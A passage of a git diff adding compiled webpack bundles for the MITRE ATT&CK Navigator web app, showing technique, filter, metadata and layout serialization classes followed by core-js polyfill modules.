//rep.technique_tactic_union_id = this.technique_tactic_union_id; + //console.log(rep); + return JSON.stringify(rep, null, "\t"); + }; + /** + * Restore this technique from serialized technique + * @param rep serialized technique string + */ + TechniqueVM.prototype.deSerialize = function (rep, techniqueID, tactic) { + var obj = JSON.parse(rep); + if (techniqueID !== undefined) + this.techniqueID = techniqueID; + else + console.error("ERROR: TechniqueID field not present in technique"); + // if ("technique_tactic_union_id" in obj) this.technique_tactic_union_id = obj.technique_tactic_union_id; + // else console.error("ERROR: technique_tactic_union_id field not present in technique") + if ("tactic" !== undefined) + this.tactic = tactic; + else + console.error("ERROR: tactic field not present in technique"); + if ("comment" in obj) { + if (typeof (obj.comment) === "string") + this.comment = obj.comment; + else + console.error("TypeError: technique comment field is not a number:", obj.comment, "(", typeof (obj.comment), ")"); + } + if ("color" in obj && obj.color !== "") { + if (typeof (obj.color) === "string" && tinycolor(obj.color).isValid()) + this.color = obj.color; + else + console.error("TypeError: technique color field is not a color-string:", obj.color, "(", typeof (obj.color), ")"); + } + if ("score" in obj) { + if (typeof (obj.score) === "number") + this.score = String(obj.score); + else + console.error("TypeError: technique score field is not a number:", obj.score, "(", typeof (obj.score), ")"); + } + if ("enabled" in obj) { + if (typeof (obj.enabled) === "boolean") + this.enabled = obj.enabled; + else + console.error("TypeError: technique enabled field is not a boolean:", obj.enabled, "(", typeof (obj.enabled), ")"); + } + if ("showSubtechniques" in obj) { + if (typeof (obj.showSubtechniques) === "boolean") + this.showSubtechniques = obj.showSubtechniques; + else + console.error("TypeError: technique showSubtechnique field is not a boolean:", obj.showSubtechniques, "(", typeof (obj.showSubtechniques), ")"); + } + if (this.tactic !== undefined && this.techniqueID !== undefined) { + this.technique_tactic_union_id = this.techniqueID + "^" + this.tactic; + } + else { + console.log("ERROR: Tactic and TechniqueID field needed."); + } + if ("metadata" in obj) { + for (var _i = 0, _a = obj.metadata; _i < _a.length; _i++) { + var metadataObj = _a[_i]; + var m = new Metadata(); + m.deSerialize(metadataObj); + if (m.valid()) + this.metadata.push(m); + } + } + }; + TechniqueVM.ctorParameters = function () { return [ + { type: String } + ]; }; + return TechniqueVM; +}()); + +// the data for a specific filter +var Filter = /** @class */ (function () { + function Filter(domain) { + this.stages = { options: ["prepare", "act"], selection: ["act"] }; + // this.stages.selection = ["act"]; + // this.stages.options = ["prepare", "act"]; + if (domain == "mitre-enterprise") { + this.platforms = { selection: ["Windows", "Linux", "macOS"], options: ["Windows", "Linux", "macOS", "AWS", "GCP", "Azure", "Azure AD", "Office 365", "SaaS"] }; + } + else if (domain == "mitre-mobile") { + this.platforms = { selection: ["Android", "iOS"], options: ["Android", "iOS"] }; + } + else { + console.error("unknown domain", domain); + } + } + Filter.prototype.toggleInFilter = function (filterName, value) { + if (!this[filterName].options.includes(value)) { + console.log("not a valid option to toggle", value, this[filterName]); + return; + } + if (this[filterName].selection.includes(value)) { + var index = this[filterName].selection.indexOf(value); + this[filterName].selection.splice(index, 1); + } + else { + this[filterName].selection.push(value); + } + }; + Filter.prototype.inFilter = function (filterName, value) { + return this[filterName].selection.includes(value); + }; + Filter.prototype.filterMatrices = function (matrices) { + var _this = this; + return matrices.filter(function (matrix) { + if (matrix.name == "PRE-ATT&CK") { + return _this.inFilter("stages", "prepare"); + } + else { + return _this.inFilter("stages", "act"); + } + }); + }; + /** + * Return the string representation of this filter + * @return [description] + */ + Filter.prototype.serialize = function () { + return JSON.stringify({ "stages": this.stages.selection, "platforms": this.platforms.selection }); + }; + /** + * Replace the properties of this object with those of the given serialized filter + * @param rep filter object + */ + Filter.prototype.deSerialize = function (rep) { + // console.log(rep) + var isStringArray = function (check) { + for (var i = 0; i < check.length; i++) { + if (typeof (check[i]) !== "string") { + console.error("TypeError:", check[i], "(", typeof (check[i]), ")", "is not a string"); + return false; + } + } + return true; + }; + // let obj = JSON.parse(rep); + if (rep.platforms) { + if (isStringArray(rep.platforms)) { + var backwards_compatibility_mappings_1 = { + "android": "Android", + "ios": "iOS", + "windows": "Windows", + "linux": "Linux", + "mac": "macOS" + }; + this.platforms.selection = rep.platforms.map(function (platform) { + if (platform in backwards_compatibility_mappings_1) { + return backwards_compatibility_mappings_1[platform]; + } + else { + return platform; + } + }); + } + else + console.error("TypeError: filter platforms field is not a string[]"); + } + if (rep.stages) { + if (isStringArray(rep.stages)) + this.stages.selection = rep.stages; + else + console.error("TypeError: filter stages field is not a string[]"); + } + }; + Filter.ctorParameters = function () { return [ + null + ]; }; + return Filter; +}()); + +// { name, value } with serialization +var Metadata = /** @class */ (function () { + function Metadata() { + } + ; + Metadata.prototype.serialize = function () { return { name: this.name, value: this.value }; }; + Metadata.prototype.deSerialize = function (rep) { + if (rep.name) { + if (typeof (rep.name) === "string") + this.name = rep.name; + else + console.error("TypeError: Metadata field 'name' is not a string"); + } + else + console.error("Error: Metadata required field 'name' not present"); + if (rep.value) { + if (typeof (rep.value) === "string") + this.value = rep.value; + else + console.error("TypeError: Metadata field 'value' is not a string"); + } + else + console.error("Error: Metadata required field 'value' not present"); + }; + Metadata.prototype.valid = function () { return this.name.length > 0 && this.value.length > 0; }; + return Metadata; +}()); + +var LayoutOptions = /** @class */ (function () { + function LayoutOptions() { + // current layout selection + this.layoutOptions = ["side", "flat", "mini"]; + this._layout = this.layoutOptions[0]; //current selection + //show technique/tactic IDs in the view? + this._showID = false; + //show technique/tactic names in the view? + this._showName = true; + } + Object.defineProperty(LayoutOptions.prototype, "layout", { + get: function () { return this._layout; }, + set: function (newLayout) { + if (!this.layoutOptions.includes(newLayout)) { + console.warn("invalid matrix layout", newLayout); + return; + } + var oldLayout = this._layout; + this._layout = newLayout; + if (this._layout == "mini") { //mini-table cannot show ID or name + this.showID = false; + this.showName = false; + } + if (oldLayout == "mini" && newLayout != "mini") { + this.showName = true; //restore default show value for name + } + }, + enumerable: true, + configurable: true + }); + Object.defineProperty(LayoutOptions.prototype, "showID", { + get: function () { return this._showID; }, + set: function (newval) { + this._showID = newval; + if (newval == true && this._layout == "mini") + this._layout = "side"; + }, + enumerable: true, + configurable: true + }); + Object.defineProperty(LayoutOptions.prototype, "showName", { + get: function () { return this._showName; }, + set: function (newval) { + this._showName = newval; + if (newval == true && this._layout == "mini") + this._layout = "side"; + }, + enumerable: true, + configurable: true + }); + LayoutOptions.prototype.serialize = function () { + return { + "layout": this.layout, + "showID": this.showID, + "showName": this.showName + }; + }; + LayoutOptions.prototype.deserialize = function (rep) { + if (rep.showID) { + if (typeof (rep.showID) === "boolean") + this.showID = rep.showID; + else + console.error("TypeError: layout field 'showID' is not a boolean:", rep.showID, "(", typeof (rep.showID), ")"); + } + if (rep.showName) { + if (typeof (rep.showName) === "boolean") + this.showName = rep.showName; + else + console.error("TypeError: layout field 'showName' is not a boolean:", rep.showName, "(", typeof (rep.showName), ")"); + } + //make sure this one goes last so that it can override name and ID if layout == 'mini' + if (rep.layout) { + if (typeof (rep.layout) === "string") + this.layout = rep.layout; + else + console.error("TypeError: layout field 'layout' is not a string:", rep.layout, "(", typeof (rep.layout), ")"); + } + }; + return LayoutOptions; +}()); + + + +/***/ }), + +/***/ "./src/environments/environment.ts": +/*!*****************************************!*\ + !*** ./src/environments/environment.ts ***! + \*****************************************/ +/*! exports provided: environment */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +__webpack_require__.r(__webpack_exports__); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "environment", function() { return environment; }); +// The file contents for the current environment will overwrite these during build. +// The build system defaults to the dev environment which uses `environment.ts`, but if you do +// `ng build --env=prod` then `environment.prod.ts` will be used instead. +// The list of which env maps to which file can be found in `.angular-cli.json`. +var environment = { + production: false +}; + + +/***/ }), + +/***/ "./src/main.ts": +/*!*********************!*\ + !*** ./src/main.ts ***! + \*********************/ +/*! no exports provided */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +__webpack_require__.r(__webpack_exports__); +/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js"); +/* harmony import */ var _angular_platform_browser_dynamic__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @angular/platform-browser-dynamic */ "./node_modules/@angular/platform-browser-dynamic/fesm5/platform-browser-dynamic.js"); +/* harmony import */ var _app_app_module__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./app/app.module */ "./src/app/app.module.ts"); +/* harmony import */ var _environments_environment__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./environments/environment */ "./src/environments/environment.ts"); + + + + +if (_environments_environment__WEBPACK_IMPORTED_MODULE_3__["environment"].production) { + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["enableProdMode"])(); +} +Object(_angular_platform_browser_dynamic__WEBPACK_IMPORTED_MODULE_1__["platformBrowserDynamic"])().bootstrapModule(_app_app_module__WEBPACK_IMPORTED_MODULE_2__["AppModule"]) + .catch(function (err) { return console.log(err); }); + + +/***/ }), + +/***/ 0: +/*!***************************!*\ + !*** multi ./src/main.ts ***! + \***************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +module.exports = __webpack_require__(/*! /home/LON/bernalo/git/attack-navigator/nav-app/src/main.ts */"./src/main.ts"); + + +/***/ }), + +/***/ 1: +/*!**********************!*\ + !*** util (ignored) ***! + \**********************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +/* (ignored) */ + +/***/ }), + +/***/ 10: +/*!************************!*\ + !*** buffer (ignored) ***! + \************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +/* (ignored) */ + +/***/ }), + +/***/ 11: +/*!************************!*\ + !*** buffer (ignored) ***! + \************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +/* (ignored) */ + +/***/ }), + +/***/ 12: +/*!************************!*\ + !*** buffer (ignored) ***! + \************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +/* (ignored) */ + +/***/ }), + +/***/ 13: +/*!************************!*\ + !*** buffer (ignored) ***! + \************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +/* (ignored) */ + +/***/ }), + +/***/ 14: +/*!************************!*\ + !*** buffer (ignored) ***! + \************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +/* (ignored) */ + +/***/ }), + +/***/ 15: +/*!************************!*\ + !*** buffer (ignored) ***! + \************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +/* (ignored) */ + +/***/ }), + +/***/ 2: +/*!**********************!*\ + !*** util (ignored) ***! + \**********************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +/* (ignored) */ + +/***/ }), + +/***/ 3: +/*!**********************!*\ + !*** util (ignored) ***! + \**********************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +/* (ignored) */ + +/***/ }), + +/***/ 4: +/*!**********************!*\ + !*** util (ignored) ***! + \**********************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +/* (ignored) */ + +/***/ }), + +/***/ 5: +/*!************************!*\ + !*** buffer (ignored) ***! + \************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +/* (ignored) */ + +/***/ }), + +/***/ 6: +/*!************************!*\ + !*** buffer (ignored) ***! + \************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +/* (ignored) */ + +/***/ }), + +/***/ 7: +/*!************************!*\ + !*** crypto (ignored) ***! + \************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +/* (ignored) */ + +/***/ }), + +/***/ 8: +/*!**********************!*\ + !*** util (ignored) ***! + \**********************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +/* (ignored) */ + +/***/ }), + +/***/ 9: +/*!**********************!*\ + !*** util (ignored) ***! + \**********************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +/* (ignored) */ + +/***/ }) + +},[[0,"runtime","vendor"]]]); +//# sourceMappingURL=main.js.map \ No newline at end of file diff --git a/public/assets/attack-navigator/polyfills-es5.js b/public/assets/attack-navigator/polyfills-es5.js new file mode 100644 index 0000000..6655d4c --- /dev/null +++ b/public/assets/attack-navigator/polyfills-es5.js @@ -0,0 +1,8627 @@ +(window["webpackJsonp"] = window["webpackJsonp"] || []).push([["polyfills-es5"],{ + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/es/date/index.js": +/*!******************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/es/date/index.js ***! + \******************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +__webpack_require__(/*! ../../modules/es.date.now */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.date.now.js"); +__webpack_require__(/*! ../../modules/es.date.to-json */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.date.to-json.js"); +__webpack_require__(/*! ../../modules/es.date.to-iso-string */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.date.to-iso-string.js"); +__webpack_require__(/*! ../../modules/es.date.to-string */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.date.to-string.js"); +__webpack_require__(/*! ../../modules/es.date.to-primitive */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.date.to-primitive.js"); + +module.exports = __webpack_require__(/*! ../../internals/path */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/path.js").Date; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/es/math/index.js": +/*!******************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/es/math/index.js ***! + \******************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +__webpack_require__(/*! ../../modules/es.math.acosh */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.acosh.js"); +__webpack_require__(/*! ../../modules/es.math.asinh */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.asinh.js"); +__webpack_require__(/*! ../../modules/es.math.atanh */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.atanh.js"); +__webpack_require__(/*! ../../modules/es.math.cbrt */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.cbrt.js"); +__webpack_require__(/*! ../../modules/es.math.clz32 */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.clz32.js"); +__webpack_require__(/*! ../../modules/es.math.cosh */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.cosh.js"); +__webpack_require__(/*! ../../modules/es.math.expm1 */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.expm1.js"); +__webpack_require__(/*! ../../modules/es.math.fround */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.fround.js"); +__webpack_require__(/*! ../../modules/es.math.hypot */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.hypot.js"); +__webpack_require__(/*! ../../modules/es.math.imul */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.imul.js"); +__webpack_require__(/*! ../../modules/es.math.log10 */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.log10.js"); +__webpack_require__(/*! ../../modules/es.math.log1p */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.log1p.js"); +__webpack_require__(/*! ../../modules/es.math.log2 */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.log2.js"); +__webpack_require__(/*! ../../modules/es.math.sign */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.sign.js"); +__webpack_require__(/*! ../../modules/es.math.sinh */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.sinh.js"); +__webpack_require__(/*! ../../modules/es.math.tanh */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.tanh.js"); +__webpack_require__(/*! ../../modules/es.math.to-string-tag */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.to-string-tag.js"); +__webpack_require__(/*! ../../modules/es.math.trunc */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.math.trunc.js"); + +module.exports = __webpack_require__(/*! ../../internals/path */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/path.js").Math; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/es/number/index.js": +/*!********************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/es/number/index.js ***! + \********************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +__webpack_require__(/*! ../../modules/es.number.constructor */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.constructor.js"); +__webpack_require__(/*! ../../modules/es.number.epsilon */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.epsilon.js"); +__webpack_require__(/*! ../../modules/es.number.is-finite */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.is-finite.js"); +__webpack_require__(/*! ../../modules/es.number.is-integer */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.is-integer.js"); +__webpack_require__(/*! ../../modules/es.number.is-nan */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.is-nan.js"); +__webpack_require__(/*! ../../modules/es.number.is-safe-integer */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.is-safe-integer.js"); +__webpack_require__(/*! ../../modules/es.number.max-safe-integer */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.max-safe-integer.js"); +__webpack_require__(/*! ../../modules/es.number.min-safe-integer */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.min-safe-integer.js"); +__webpack_require__(/*! ../../modules/es.number.parse-float */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.parse-float.js"); +__webpack_require__(/*! ../../modules/es.number.parse-int */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.parse-int.js"); +__webpack_require__(/*! ../../modules/es.number.to-fixed */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.to-fixed.js"); +__webpack_require__(/*! ../../modules/es.number.to-precision */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.number.to-precision.js"); + +module.exports = __webpack_require__(/*! ../../internals/path */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/path.js").Number; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/es/reflect/index.js": +/*!*********************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/es/reflect/index.js ***! + \*********************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +__webpack_require__(/*! ../../modules/es.reflect.apply */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.apply.js"); +__webpack_require__(/*! ../../modules/es.reflect.construct */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.construct.js"); +__webpack_require__(/*! ../../modules/es.reflect.define-property */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.define-property.js"); +__webpack_require__(/*! ../../modules/es.reflect.delete-property */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.delete-property.js"); +__webpack_require__(/*! ../../modules/es.reflect.get */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.get.js"); +__webpack_require__(/*! ../../modules/es.reflect.get-own-property-descriptor */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.get-own-property-descriptor.js"); +__webpack_require__(/*! ../../modules/es.reflect.get-prototype-of */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.get-prototype-of.js"); +__webpack_require__(/*! ../../modules/es.reflect.has */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.has.js"); +__webpack_require__(/*! ../../modules/es.reflect.is-extensible */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.is-extensible.js"); +__webpack_require__(/*! ../../modules/es.reflect.own-keys */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.own-keys.js"); +__webpack_require__(/*! ../../modules/es.reflect.prevent-extensions */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.prevent-extensions.js"); +__webpack_require__(/*! ../../modules/es.reflect.set */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.set.js"); +__webpack_require__(/*! ../../modules/es.reflect.set-prototype-of */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.reflect.set-prototype-of.js"); + +module.exports = __webpack_require__(/*! ../../internals/path */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/path.js").Reflect; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/es/regexp/index.js": +/*!********************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/es/regexp/index.js ***! + \********************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +__webpack_require__(/*! ../../modules/es.regexp.constructor */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.regexp.constructor.js"); +__webpack_require__(/*! ../../modules/es.regexp.to-string */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.regexp.to-string.js"); +__webpack_require__(/*! ../../modules/es.regexp.exec */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.regexp.exec.js"); +__webpack_require__(/*! ../../modules/es.regexp.flags */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.regexp.flags.js"); +__webpack_require__(/*! ../../modules/es.string.match */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.match.js"); +__webpack_require__(/*! ../../modules/es.string.replace */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.replace.js"); +__webpack_require__(/*! ../../modules/es.string.search */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.search.js"); +__webpack_require__(/*! ../../modules/es.string.split */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/modules/es.string.split.js"); + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/a-function.js": +/*!*************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/a-function.js ***! + \*************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = function (it) { + if (typeof it != 'function') { + throw TypeError(String(it) + ' is not a function'); + } return it; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/add-to-unscopables.js": +/*!*********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/add-to-unscopables.js ***! + \*********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var UNSCOPABLES = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js")('unscopables'); +var create = __webpack_require__(/*! ../internals/object-create */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-create.js"); +var hide = __webpack_require__(/*! ../internals/hide */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/hide.js"); +var ArrayPrototype = Array.prototype; + +// Array.prototype[@@unscopables] +// https://tc39.github.io/ecma262/#sec-array.prototype-@@unscopables +if (ArrayPrototype[UNSCOPABLES] == undefined) { + hide(ArrayPrototype, UNSCOPABLES, create(null)); +} + +// add a key to Array.prototype[@@unscopables] +module.exports = function (key) { + ArrayPrototype[UNSCOPABLES][key] = true; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/advance-string-index.js": +/*!***********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/advance-string-index.js ***! + \***********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var codePointAt = __webpack_require__(/*! ../internals/string-at */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/string-at.js"); + +// `AdvanceStringIndex` abstract operation +// https://tc39.github.io/ecma262/#sec-advancestringindex +module.exports = function (S, index, unicode) { + return index + (unicode ? codePointAt(S, index, true).length : 1); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-instance.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-instance.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = function (it, Constructor, name) { + if (!(it instanceof Constructor)) { + throw TypeError('Incorrect ' + (name ? name + ' ' : '') + 'invocation'); + } return it; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js": +/*!************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js ***! + \************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); + +module.exports = function (it) { + if (!isObject(it)) { + throw TypeError(String(it) + ' is not an object'); + } return it; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-copy-within.js": +/*!********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-copy-within.js ***! + \********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var toObject = __webpack_require__(/*! ../internals/to-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-object.js"); +var toAbsoluteIndex = __webpack_require__(/*! ../internals/to-absolute-index */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-absolute-index.js"); +var toLength = __webpack_require__(/*! ../internals/to-length */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-length.js"); + +// `Array.prototype.copyWithin` method implementation +// https://tc39.github.io/ecma262/#sec-array.prototype.copywithin +module.exports = [].copyWithin || function copyWithin(target /* = 0 */, start /* = 0, end = @length */) { + var O = toObject(this); + var len = toLength(O.length); + var to = toAbsoluteIndex(target, len); + var from = toAbsoluteIndex(start, len); + var end = arguments.length > 2 ? arguments[2] : undefined; + var count = Math.min((end === undefined ? len : toAbsoluteIndex(end, len)) - from, len - to); + var inc = 1; + if (from < to && to < from + count) { + inc = -1; + from += count - 1; + to += count - 1; + } + while (count-- > 0) { + if (from in O) O[to] = O[from]; + else delete O[to]; + to += inc; + from += inc; + } return O; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-fill.js": +/*!*************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-fill.js ***! + \*************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var toObject = __webpack_require__(/*! ../internals/to-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-object.js"); +var toAbsoluteIndex = __webpack_require__(/*! ../internals/to-absolute-index */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-absolute-index.js"); +var toLength = __webpack_require__(/*! ../internals/to-length */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-length.js"); + +// `Array.prototype.fill` method implementation +// https://tc39.github.io/ecma262/#sec-array.prototype.fill +module.exports = function fill(value /* , start = 0, end = @length */) { + var O = toObject(this); + var length = toLength(O.length); + var argumentsLength = arguments.length; + var index = toAbsoluteIndex(argumentsLength > 1 ? arguments[1] : undefined, length); + var end = argumentsLength > 2 ? arguments[2] : undefined; + var endPos = end === undefined ? length : toAbsoluteIndex(end, length); + while (endPos > index) O[index++] = value; + return O; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-for-each.js": +/*!*****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-for-each.js ***! + \*****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var nativeForEach = [].forEach; +var internalForEach = __webpack_require__(/*! ../internals/array-methods */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-methods.js")(0); + +var SLOPPY_METHOD = __webpack_require__(/*! ../internals/sloppy-array-method */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/sloppy-array-method.js")('forEach'); + +// `Array.prototype.forEach` method implementation +// https://tc39.github.io/ecma262/#sec-array.prototype.foreach +module.exports = SLOPPY_METHOD ? function forEach(callbackfn /* , thisArg */) { + return internalForEach(this, callbackfn, arguments[1]); +} : nativeForEach; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-from.js": +/*!*************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-from.js ***! + \*************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var bind = __webpack_require__(/*! ../internals/bind-context */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/bind-context.js"); +var toObject = __webpack_require__(/*! ../internals/to-object */ 